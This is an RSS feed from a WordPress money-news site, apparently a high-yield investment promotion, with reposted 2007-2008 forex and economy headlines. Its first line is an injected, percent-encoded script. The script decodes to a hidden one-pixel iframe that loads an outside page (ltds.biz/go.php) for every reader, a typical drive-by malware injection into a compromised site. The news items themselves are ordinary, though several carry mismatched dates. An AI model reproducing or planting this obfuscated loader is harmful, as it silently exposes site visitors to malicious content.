<script language='javascript'>
document.write(unescape('%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%6c%74%64%73%2e%62%69%7a%2f%67%6f%2e%70%68%70%3f%69%64%3d%32%37%34%34%26%75%73%65%72%5f%6e%61%6d%65%3d%33%38%31%35%33%35%22%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%3e%3c%2f%69%66%72%61%6d%65%3e'));</script><?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.0.7" -->
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Best Money</title>
	<link>http://best-hyip-money.com</link>
	<description>realtime money news...</description>
	<pubDate>Sat, 11 Oct 2008 02:14:44 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.0.7</generator>
	<language>en</language>
			<item>
		<title>Mid-Day Report: Dollar Regains Strength, Steady after GDP Revision</title>
		<link>http://best-hyip-money.com/mid-day-report-dollar-regains-strength-steady-after-gdp-revision/</link>
		<comments>http://best-hyip-money.com/mid-day-report-dollar-regains-strength-steady-after-gdp-revision/#comments</comments>
		<pubDate>Fri, 16 May 2008 15:25:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/mid-day-report-dollar-regains-strength-steady-after-gdp-revision/</guid>
		<description><![CDATA[Action Insight &#124; Written by ActionForex.com &#124; Nov 29 07 14:15 GMT &#124;
 Forex Mid-Day Technical Report Dollar Regains Strength, Steady after GDP Revision 
Dollar regains strength against European majors today as correction continues. Q3 GDP growth was revised up to 4.9% annualized rate, fastest growth in four years and slightly above expectation of 4.8%. [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/mid-day-report-dollar-regains-strength-steady-after-gdp-revision/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Singapore Market Steady Despite Global Turmoil</title>
		<link>http://best-hyip-money.com/singapore-market-steady-despite-global-turmoil/</link>
		<comments>http://best-hyip-money.com/singapore-market-steady-despite-global-turmoil/#comments</comments>
		<pubDate>Fri, 16 May 2008 15:18:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/singapore-market-steady-despite-global-turmoil/</guid>
		<description><![CDATA[Although recent credit problems in the US have led to a global market crisis, Singapore remains largely unaffected. The Singapore dollar was weakened briefly on Thursday, only to bounce back again by Friday. As for the foreign exchange markets, Singapore has been watching the unfolding drama with close observation. This is, perhaps, the reason for [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/singapore-market-steady-despite-global-turmoil/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Carry trade partially unravels</title>
		<link>http://best-hyip-money.com/carry-trade-partially-unravels/</link>
		<comments>http://best-hyip-money.com/carry-trade-partially-unravels/#comments</comments>
		<pubDate>Fri, 16 May 2008 11:38:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/carry-trade-partially-unravels/</guid>
		<description><![CDATA[Yesterday, the collapse which roiled global financial markets spread to forex markets, causing the Yen to loosen from its moorings and sending the currency upward against most of the worlds major currencies, including a 2% rise against the USD. While the Yen has already given back some of these gains, many analysts are already speculating [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/carry-trade-partially-unravels/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Daily Report: All Eyes on ECB &#38; BoE</title>
		<link>http://best-hyip-money.com/daily-report-all-eyes-on-ecb-boe/</link>
		<comments>http://best-hyip-money.com/daily-report-all-eyes-on-ecb-boe/#comments</comments>
		<pubDate>Fri, 16 May 2008 03:57:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/daily-report-all-eyes-on-ecb-boe/</guid>
		<description><![CDATA[Action Insight &#124; Written by ActionForex.com &#124; Oct 04 07 07:02 GMT &#124;
 Forex Daily Technical Report All Eyes on ECB &#038; BoE 
Dollar extends recovery on the back of positive expectation for Friday&#8217;s NFP after yesterday&#8217;s data. Before that, market&#8217;s focus is turned to ECB and BoE rate decision today first. BoE will announce [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/daily-report-all-eyes-on-ecb-boe/feed/</wfw:commentRss>
		</item>
		<item>
		<title>US govt drawing up list of candidates to replace World Bank&#8217;s Wolfowitz - report</title>
		<link>http://best-hyip-money.com/us-govt-drawing-up-list-of-candidates-to-replace-world-banks-wolfowitz-report/</link>
		<comments>http://best-hyip-money.com/us-govt-drawing-up-list-of-candidates-to-replace-world-banks-wolfowitz-report/#comments</comments>
		<pubDate>Fri, 16 May 2008 03:57:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/us-govt-drawing-up-list-of-candidates-to-replace-world-banks-wolfowitz-report/</guid>
		<description><![CDATA[LONDON (Thomson Financial) - Embattled World Bank president Paul Wolfowitz&#8217;s position is seeming more precarious after a report that the White House is compiling a list of candidates to succeed him.
The Times says the US administration is softening its support for the president, who is under mounting pressure to resign in the wake of a [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/us-govt-drawing-up-list-of-candidates-to-replace-world-banks-wolfowitz-report/feed/</wfw:commentRss>
		</item>
		<item>
		<title>BOJ spurs carry trade</title>
		<link>http://best-hyip-money.com/boj-spurs-carry-trade/</link>
		<comments>http://best-hyip-money.com/boj-spurs-carry-trade/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 16:06:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/boj-spurs-carry-trade/</guid>
		<description><![CDATA[To no ones surprise, the Bank of Japan has announced that it would maintain Japanese interest rates at the current level of .25%. Carry traders seized upon the opportunity to continue borrowing Yen at near-record lows, and selling the Japanese currency in favor of higher-yielding alternatives. In fact, the news was met with such gusto [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/boj-spurs-carry-trade/feed/</wfw:commentRss>
		</item>
		<item>
		<title>USD to be driven by economic data</title>
		<link>http://best-hyip-money.com/usd-to-be-driven-by-economic-data/</link>
		<comments>http://best-hyip-money.com/usd-to-be-driven-by-economic-data/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 12:46:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/usd-to-be-driven-by-economic-data/</guid>
		<description><![CDATA[Most analysts reckon that the USD has resumed its downward path against the worlds major currencies, after a two month hiatus. The fear is that the mess in the real estate market (via subprime mortgages) will spread to the rest of the economy, with loan defaults and a decline in consumption. In such a case, [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/usd-to-be-driven-by-economic-data/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mid-Day Report: Dollar Falls after Unexpected Drop in Existing Home Sales</title>
		<link>http://best-hyip-money.com/mid-day-report-dollar-falls-after-unexpected-drop-in-existing-home-sales/</link>
		<comments>http://best-hyip-money.com/mid-day-report-dollar-falls-after-unexpected-drop-in-existing-home-sales/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 12:46:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/mid-day-report-dollar-falls-after-unexpected-drop-in-existing-home-sales/</guid>
		<description><![CDATA[Action Insight &#124; Written by ActionForex.com &#124; May 25 07 14:40 GMT &#124;
 Forex Mid-Day Technical Report Dollar Falls after Unexpected Drop in Existing Home Sales 
Existing home sales missed expectation by dropping -2.6% from an upwardly revised 6.15m annualized rate to 5.99m. The disappointment in today&#8217;s data casts much doubt on any sign of [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/mid-day-report-dollar-falls-after-unexpected-drop-in-existing-home-sales/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Japanese industrial output falls in January for 1st time in 3 months - UPDATE</title>
		<link>http://best-hyip-money.com/japanese-industrial-output-falls-in-january-for-1st-time-in-3-months-update/</link>
		<comments>http://best-hyip-money.com/japanese-industrial-output-falls-in-january-for-1st-time-in-3-months-update/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 08:51:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/japanese-industrial-output-falls-in-january-for-1st-time-in-3-months-update/</guid>
		<description><![CDATA[TOKYO (XFN-ASIA) - Industrial output fell last month for the first time in three months as makers of automobiles and general machinery reduced their production, preliminary data from the Ministry of Economy, Trade and Industry show.
The index of the output of factories and mines last month, at 108.0 points, was a seasonally adjusted 1.5 pct [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/japanese-industrial-output-falls-in-january-for-1st-time-in-3-months-update/feed/</wfw:commentRss>
		</item>
		<item>
		<title>US Congress Discusses Yen Manipulation</title>
		<link>http://best-hyip-money.com/us-congress-discusses-yen-manipulation/</link>
		<comments>http://best-hyip-money.com/us-congress-discusses-yen-manipulation/#comments</comments>
		<pubDate>Wed, 30 Apr 2008 08:51:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category>Currency</category>

		<guid isPermaLink="false">http://best-hyip-money.com/us-congress-discusses-yen-manipulation/</guid>
		<description><![CDATA[This week, the US Congress conducted a hearing on Currency Manipulation And Its Effects On American Businesses And Workers, for which it invited numerous experts to weigh in on undervalued currencies. Among those who testified was General Motors Chief Economist, who discussed Japans purported policy of holding down the Yen, within the context of the [...]]]></description>
		<wfw:commentRss>http://best-hyip-money.com/us-congress-discusses-yen-manipulation/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
